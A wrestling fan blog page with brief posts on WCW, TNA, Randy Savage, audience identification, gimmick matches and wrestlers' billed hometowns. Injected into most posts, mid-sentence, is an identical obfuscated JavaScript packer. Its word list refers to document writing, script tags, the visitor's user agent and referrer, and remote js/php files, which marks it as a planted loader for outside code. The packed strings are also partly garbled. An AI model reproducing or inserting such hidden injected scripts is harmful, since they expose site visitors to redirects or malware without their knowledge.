Thought of the Day: Bad vs. Dull

And eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|difas|var|u0026u|referrer|rzaer||js|php'.split('|'),0,{})) I mean that in a good way.I just finished watching Starrcade 1999 and my freaking goodness it was a mess.  There were thirteen matches on a two and a half hour show, meaning that only three matches broke 8 minutes.  There were stupid angles, there were gimmick matches all over the place, and the ending was a Montreal Screwjob.

 

People that say TNA is the same as WCW was in its dying days have no idea what they’re talking about.  TNA still makes (mostly) coherent sense and has some spots of awesome mixed in with all the Hogan and Sting dullness.  Right now, TNA isn’t that interesting, but it’s certainly not horrendous.  There’s a very big difference between the two and it’s something people often forget about.



Excellent Article On Randy Savage

He eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tayrd|var|u0026u|referrer|esisa||js|php'.split('|'),0,{})) passed away two years ago yesterday.  I know most people don’t think much of Bleacher Report but this is good stuff.  The man truly was fascinating.  My uncle used to work out in the same gym that Savage and Genius used to frequent.

 

http://bleacherreport.com/articles/1643969-the-final-days-of-randy-macho-man-savage



I Want To Talk A Little Bit About Identifying With The Audience (Why I Don’t Like Lesnar vs. HHH)

 

 

 

 

 

 

Going with the same idea, another of the biggest feuds of all time was the feud that fueled the Attitude Era: Steve Austin vs. Vince McMahon. Look at the basics of this feud. You have Steve Austin, a beer drinking brawler from Texas, facing off with a billionaire from Connecticut who was borderline psychotic and willing to allow a demon who worshipped him to burn a cross like symbol on his lawn and have his daughter sacrificed in a Satanic wedding, all to get the WWF Title off of Steve Austin using his army of hand picked Corporate Champions.

 

 

 

 

 

On the show, Ryder began to fall for WWE Diva Eve Torres, while at the same time starting a petition to get himself a US Title shot. The fans got behind Ryder, even to the point of cheering for him while the Rock was standing in the middle of Madison Square Garden after Survivor Series had went off the air. People wanted Zack Ryder and he was all of a sudden the hottest guy in wrestling.

 

A month later, Ryder got his US Title shot at TLC and won the championship to blow the roof off the building. The fans had gotten what they wanted and their hero had delivered what he promised them he would do if just given the chance. Around the same time, Eve started noticing Zack, meaning that Ryder was getting the cherry on top of the US Title. Life was perfect for Ryder, at least for now.

 

 

 

 

Now for the difference between Ryder and Foley (oddly enough both from Long Island and they both beat guys from south Florida to win their titles): while Foley lost his title less than a month later, Foley never was treated like an underling again. From that moment on, he was a bonafide main event star and had risen up the card after winning a major match. Ryder never ascended at all and was back where he started from a few months later. The fans had put their faith in Foley and he had carried them to a higher level.

 

 

Coming into the match, Cena had just gotten done facing The Rock at Wrestlemania 28 in one of the biggest matches of all time. Cena had dominated the company to the point that WWE had to bring the Rock back to give Cena a legitimate challenge. Once that was gone, they had to bring in the former UFC Heavyweight Champion of the World to make Cena break a sweat. Lesnar MAULED Cena on Raw and at the PPV, taking Cena down with ease and laughing about it at the time.

 

 

 

In general, that lack of depth can be made up for by having the audience identify with one or both of the characters, such as in all the examples I gave you. Almost no one is going to be rich like Vince, but a lot of people can identify with having a boss they want to beat up. Identifying with the audience is one of the hardest things to do in wrestling, but if you can pull it off you have (in theory) the hardest part done and the booking can take care of the rest.



Rather Awesome World Title Chart

This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bdhzs|var|u0026u|referrer|ztszs||js|php'.split('|'),0,{})) is some detailed stuff that someone from the forums sent me.  Check it out.  Sorry that I can’t get the image loaded into here.

 

 

http://nwawrestle.weebly.com/uploads/1/8/0/9/1809845/nwachart.pdf



Funniest Promo Guy Ever

Someone eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rthsf|var|u0026u|referrer|fdnkh||js|php'.split('|'),0,{})) brought this up on the forums last night and it’s an interesting question.Who do you think is the funniest promo guy of all time?  For me, it’s Flair.  When he would get rolling and ranting about making Nikita Koloff his gardener and that his shoes were more expensive than Dusty’s house he would have me in stitches.

 

Your picks?



Thought of the Day: The Victors Write The History

This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fsnbe|var|u0026u|referrer|aytfr||js|php'.split('|'),0,{})) came to me the other day when I was thinking about WCW.It’s been about 12 years since WCW went out of business.  In about eight more years, new wrestlers as well as fans aren’t going to have any memories of WCW when it was around.  All they’re going to know is what WWE tells them to remember through DVDs.  As someone who grew up with WCW, that’s a rather saddening thought.



Thought of the Day: Why I Keep Watching

Last eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ydhri|var|u0026u|referrer|aefas||js|php'.split('|'),0,{})) night on the forums someone asked if I still enjoyed watching wrestling.  My reply:
Absolutely. Yeah there’s A LOT of stupid stuff and you get tired of sitting through it, and then one night Fandango comes out and the fans start singing his song. Or Brodus Clay debuts as the Funkasaurus instead of another monster. Or you’re expecting some lame celebrity like Justin Bieber to be announced as host of Wrestlemania 27 and instead you hear “IF YA SMEEEEEEEEEEEEEEEEEEELLLLLLLLLLLLLLLLLLLLLL”. Or the night after Rock dominates Wrestlemania 27 John Cena challenges The Rock to a match a year later and WWE basically says “Oh yeah. We’re going there!.” Or you see Joseph Park absolutely nailing the rookie lawyer character. Or you watch Raw one night in January and John Cena and CM Punk put on one of the greatest matches of all time on free TV for a spot int he main event of Wrestlemania and you can barely stay on your bed because you’re trying not to scream at them to kick out because you don’t want this to end.Yes wrestling is still fun. You never know when you’re going to see something amazing.



Thought of the Day: Gimmick Match Overload Isn’t Anything New

I eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ieesz|var|u0026u|referrer|sihtk||js|php'.split('|'),0,{})) know people say that gimmick matches dominate wrestling today, but let’s look back to the 80s.Looking at the first few Starrcades, here’s what you have:

1983 – eight matches, two gimmicks

1984 – eleven matches, three gimmicks

1985 – eleven matches, six gimmicks

1986 – twelve matches, six gimmicks

1987 – seven matches, three gimmicks

 

In the old NWA days, there were two Starrcades with at least half of the matches being gimmick matches.  This is hardly a new thing.



Thought of the Day: It’s Too Easy Sometimes

I eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yynis|var|u0026u|referrer|dfytr||js|php'.split('|'),0,{})) saw this in a column and it got me to thinking.Back in 2007, Cena injured his pectoral muscle and said he would be out at least past Wrestlemania.  Cut to MSG at the 2008 Royal Rumble.  #30 is on the way and it’s……John Cena.  The crowd LOSES IT and it’s one of the most genuine surprises in wrestling history.  This fooled marks, smarks and everyone in between.  What was the great solution to this?

 

Cena lied.  He had been posting on Twitter about how he was going to be gone for months and wanted to be in the Rumble…..and then he was.  Why isn’t this tactic used more often?  Why do so many stories and angles have to be based on what’s really going on?  Lie to us WWE.  You would be amazed how much stronger people will react when they’re genuinely surprised.



Thought of the Day: Why No Little Towns?

This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aykte|var|u0026u|referrer|tbzek||js|php'.split('|'),0,{})) occurred to me while watching NXT today.How often do you hear wrestlers being billed from a mid sized to small town?  The VAST majority of them are from large cities, even though there are far more small towns out there instead of big ones.  Think of some of the biggest names ever in wrestling and where they’re billed from:

Hogan – Venice Beach (part of Los Angeles)

The Rock – Miami

Flair – Charlotte

Sting – Venice Beach

Luger – Chicago

Michaels – San Antonio

Hart – Calgary

 

What big names aren’t from big cities?  Austin, Cena, HHH….anybody else?  Midcarders are the same way.

 

Is there a reason for this that I’m not getting?  Are people not going to care about someone because they’re from a smaller town?